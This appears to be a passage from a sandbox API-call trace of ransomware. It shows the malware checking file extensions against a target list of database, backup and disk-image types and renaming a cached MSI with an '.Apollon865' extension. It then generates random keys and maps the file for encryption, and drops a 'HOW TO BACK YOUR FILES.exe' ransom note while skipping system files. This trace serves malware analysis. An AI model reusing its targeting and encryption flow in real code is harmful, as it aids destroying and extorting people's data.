	[0064.657] lstrlenW (lpString="fp3") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0064.657] lstrlenW (lpString="fp4") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0064.657] lstrlenW (lpString="fp5") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0064.657] lstrlenW (lpString="fp7") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0064.657] lstrlenW (lpString="fpt") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0064.657] lstrlenW (lpString="frm") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0064.657] lstrlenW (lpString="gdb") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0064.657] lstrlenW (lpString="gdb") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0064.657] lstrlenW (lpString="grdb") returned 4
	[0064.657] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0064.657] lstrlenW (lpString="gwi") returned 3
	[0064.657] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0064.658] lstrlenW (lpString="hdb") returned 3
	[0064.658] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0064.658] lstrlenW (lpString="his") returned 3
	[0064.658] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0064.658] lstrlenW (lpString="ib") returned 2
	[0064.658] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0064.658] lstrlenW (lpString="idb") returned 3
	[0064.658] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0064.658] lstrlenW (lpString="ihx") returned 3
	[0064.658] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0064.658] lstrlenW (lpString="itdb") returned 4
	[0064.658] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0064.658] lstrlenW (lpString="itw") returned 3
	[0064.658] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0064.658] lstrlenW (lpString="jet") returned 3
	[0064.658] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0064.658] lstrlenW (lpString="jtx") returned 3
	[0064.658] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0064.658] lstrlenW (lpString="kdb") returned 3
	[0064.658] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0064.658] lstrlenW (lpString="kexi") returned 4
	[0064.658] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0064.658] lstrlenW (lpString="kexic") returned 5
	[0064.658] lstrcmpiW (lpString1="4.msi", lpString2="kexic") returned -1
	[0064.658] lstrlenW (lpString="kexis") returned 5
	[0064.658] lstrcmpiW (lpString1="4.msi", lpString2="kexis") returned -1
	[0064.658] lstrlenW (lpString="lgc") returned 3
	[0064.658] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0064.658] lstrlenW (lpString="lwx") returned 3
	[0064.658] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0064.658] lstrlenW (lpString="maf") returned 3
	[0064.658] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0064.658] lstrlenW (lpString="maq") returned 3
	[0064.658] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0064.658] lstrlenW (lpString="mar") returned 3
	[0064.658] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0064.659] lstrlenW (lpString="marshal") returned 7
	[0064.659] lstrcmpiW (lpString1="x64.msi", lpString2="marshal") returned 1
	[0064.659] lstrlenW (lpString="mas") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0064.659] lstrlenW (lpString="mav") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0064.659] lstrlenW (lpString="maw") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0064.659] lstrlenW (lpString="mdbhtml") returned 7
	[0064.659] lstrcmpiW (lpString1="x64.msi", lpString2="mdbhtml") returned 1
	[0064.659] lstrlenW (lpString="mdn") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0064.659] lstrlenW (lpString="mdt") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0064.659] lstrlenW (lpString="mfd") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0064.659] lstrlenW (lpString="mpd") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0064.659] lstrlenW (lpString="mrg") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0064.659] lstrlenW (lpString="mud") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0064.659] lstrlenW (lpString="mwb") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0064.659] lstrlenW (lpString="myd") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0064.659] lstrlenW (lpString="ndf") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0064.659] lstrlenW (lpString="nnt") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0064.659] lstrlenW (lpString="nrmlib") returned 6
	[0064.659] lstrcmpiW (lpString1="64.msi", lpString2="nrmlib") returned -1
	[0064.659] lstrlenW (lpString="ns2") returned 3
	[0064.659] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0064.659] lstrlenW (lpString="ns3") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0064.660] lstrlenW (lpString="ns4") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0064.660] lstrlenW (lpString="nsf") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0064.660] lstrlenW (lpString="nv") returned 2
	[0064.660] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0064.660] lstrlenW (lpString="nv2") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0064.660] lstrlenW (lpString="nwdb") returned 4
	[0064.660] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0064.660] lstrlenW (lpString="nyf") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0064.660] lstrlenW (lpString="odb") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0064.660] lstrlenW (lpString="odb") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0064.660] lstrlenW (lpString="oqy") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0064.660] lstrlenW (lpString="ora") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0064.660] lstrlenW (lpString="orx") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0064.660] lstrlenW (lpString="owc") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0064.660] lstrlenW (lpString="p96") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0064.660] lstrlenW (lpString="p97") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0064.660] lstrlenW (lpString="pan") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0064.660] lstrlenW (lpString="pdb") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0064.660] lstrlenW (lpString="pdm") returned 3
	[0064.660] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0064.660] lstrlenW (lpString="pnz") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0064.661] lstrlenW (lpString="qry") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0064.661] lstrlenW (lpString="qvd") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0064.661] lstrlenW (lpString="rbf") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0064.661] lstrlenW (lpString="rctd") returned 4
	[0064.661] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0064.661] lstrlenW (lpString="rod") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0064.661] lstrlenW (lpString="rodx") returned 4
	[0064.661] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0064.661] lstrlenW (lpString="rpd") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0064.661] lstrlenW (lpString="rsd") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0064.661] lstrlenW (lpString="sas7bdat") returned 8
	[0064.661] lstrcmpiW (lpString1="_x64.msi", lpString2="sas7bdat") returned -1
	[0064.661] lstrlenW (lpString="sbf") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0064.661] lstrlenW (lpString="scx") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0064.661] lstrlenW (lpString="sdb") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0064.661] lstrlenW (lpString="sdc") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0064.661] lstrlenW (lpString="sdf") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0064.661] lstrlenW (lpString="sis") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0064.661] lstrlenW (lpString="spq") returned 3
	[0064.661] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0064.661] lstrlenW (lpString="te") returned 2
	[0064.661] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0064.662] lstrlenW (lpString="teacher") returned 7
	[0064.662] lstrcmpiW (lpString1="x64.msi", lpString2="teacher") returned 1
	[0064.662] lstrlenW (lpString="tmd") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0064.662] lstrlenW (lpString="tps") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0064.662] lstrlenW (lpString="trc") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0064.662] lstrlenW (lpString="trc") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0064.662] lstrlenW (lpString="trm") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0064.662] lstrlenW (lpString="udb") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0064.662] lstrlenW (lpString="udl") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0064.662] lstrlenW (lpString="usr") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0064.662] lstrlenW (lpString="v12") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0064.662] lstrlenW (lpString="vis") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0064.662] lstrlenW (lpString="vpd") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0064.662] lstrlenW (lpString="vvv") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0064.662] lstrlenW (lpString="wdb") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0064.662] lstrlenW (lpString="wmdb") returned 4
	[0064.662] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0064.662] lstrlenW (lpString="wrk") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0064.662] lstrlenW (lpString="xdb") returned 3
	[0064.662] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0064.663] lstrlenW (lpString="xld") returned 3
	[0064.663] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0064.663] lstrlenW (lpString="xmlff") returned 5
	[0064.663] lstrcmpiW (lpString1="4.msi", lpString2="xmlff") returned -1
	[0064.663] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.Apollon865") returned 151
	[0064.663] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.apollon865"), dwFlags=0x1) returned 1
	[0064.665] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0064.665] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=151552) returned 1
	[0064.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0064.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0064.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0064.666] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0064.667] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0064.667] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.667] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25300, lpName=0x0) returned 0x150
	[0064.668] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25300) returned 0x120000
	[0064.676] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0064.676] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0064.677] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0064.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0064.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0064.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0064.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.677] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0064.679] CloseHandle (hObject=0x150) returned 1
	[0064.679] CloseHandle (hObject=0x154) returned 1
	[0064.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0064.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0064.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0064.680] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0064.680] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0064.680] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc50
	[0064.680] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0064.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5b98 | out: hHeap=0x580000) returned 1
	[0064.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0064.680] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 71
	[0064.680] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0064.680] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0064.680] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0064.680] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0064.681] GetLastError () returned 0x0
	[0064.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0064.681] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0064.681] CloseHandle (hObject=0x15c) returned 1
	[0064.681] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0064.681] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0064.681] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0064.681] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.681] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0064.681] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0064.681] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.681] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.681] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0064.681] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0064.681] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0064.681] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f46fa90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0064.681] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0064.681] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfe3882c0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0064.681] lstrcmpiW (lpString1="state.rsm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2="Apollon865.txt.exe") returned 1
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2=".") returned 1
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2="..") returned 1
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2="windows") returned -1
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2="bootmgr") returned 1
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2="temp") returned -1
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2="pagefile.sys") returned 1
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2="boot") returned 1
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2="ids.txt") returned 1
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2="ntuser.dat") returned 1
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2="perflogs") returned 1
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2="MSBuild") returned 1
	[0064.682] lstrlenW (lpString="state.rsm") returned 9
	[0064.682] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned 73
	[0064.682] lstrcpyW (in: lpString1=0x119e698, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0064.682] lstrlenW (lpString="state.rsm") returned 9
	[0064.682] lstrlenW (lpString="Apollon865") returned 10
	[0064.682] lstrlenW (lpString=".dll") returned 4
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0064.682] lstrlenW (lpString=".lnk") returned 4
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0064.682] lstrlenW (lpString=".ini") returned 4
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0064.682] lstrlenW (lpString=".sys") returned 4
	[0064.682] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0064.682] lstrlenW (lpString="state.rsm") returned 9
	[0064.682] lstrlenW (lpString="bak") returned 3
	[0064.682] lstrcmpiW (lpString1="rsm", lpString2="bak") returned 1
	[0064.682] lstrlenW (lpString="ba_") returned 3
	[0064.682] lstrcmpiW (lpString1="rsm", lpString2="ba_") returned 1
	[0064.682] lstrlenW (lpString="dbb") returned 3
	[0064.682] lstrcmpiW (lpString1="rsm", lpString2="dbb") returned 1
	[0064.682] lstrlenW (lpString="vmdk") returned 4
	[0064.682] lstrcmpiW (lpString1=".rsm", lpString2="vmdk") returned -1
	[0064.683] lstrlenW (lpString="rar") returned 3
	[0064.683] lstrcmpiW (lpString1="rsm", lpString2="rar") returned 1
	[0064.683] lstrlenW (lpString="zip") returned 3
	[0064.683] lstrcmpiW (lpString1="rsm", lpString2="zip") returned -1
	[0064.683] lstrlenW (lpString="tgz") returned 3
	[0064.683] lstrcmpiW (lpString1="rsm", lpString2="tgz") returned -1
	[0064.683] lstrlenW (lpString="vbox") returned 4
	[0064.683] lstrcmpiW (lpString1=".rsm", lpString2="vbox") returned -1
	[0064.683] lstrlenW (lpString="vdi") returned 3
	[0064.683] lstrcmpiW (lpString1="rsm", lpString2="vdi") returned -1
	[0064.683] lstrlenW (lpString="vhd") returned 3
	[0064.683] lstrcmpiW (lpString1="rsm", lpString2="vhd") returned -1
	[0064.683] lstrlenW (lpString="vhdx") returned 4
	[0064.683] lstrcmpiW (lpString1=".rsm", lpString2="vhdx") returned -1
	[0064.683] lstrlenW (lpString="avhd") returned 4
	[0064.683] lstrcmpiW (lpString1=".rsm", lpString2="avhd") returned -1
	[0064.683] lstrlenW (lpString="db") returned 2
	[0064.683] lstrcmpiW (lpString1="sm", lpString2="db") returned 1
	[0064.683] lstrlenW (lpString="db2") returned 3
	[0064.683] lstrcmpiW (lpString1="rsm", lpString2="db2") returned 1
	[0064.683] lstrlenW (lpString="db3") returned 3
	[0064.683] lstrcmpiW (lpString1="rsm", lpString2="db3") returned 1
	[0064.683] lstrlenW (lpString="dbf") returned 3
	[0064.683] lstrcmpiW (lpString1="rsm", lpString2="dbf") returned 1
	[0064.683] lstrlenW (lpString="mdf") returned 3
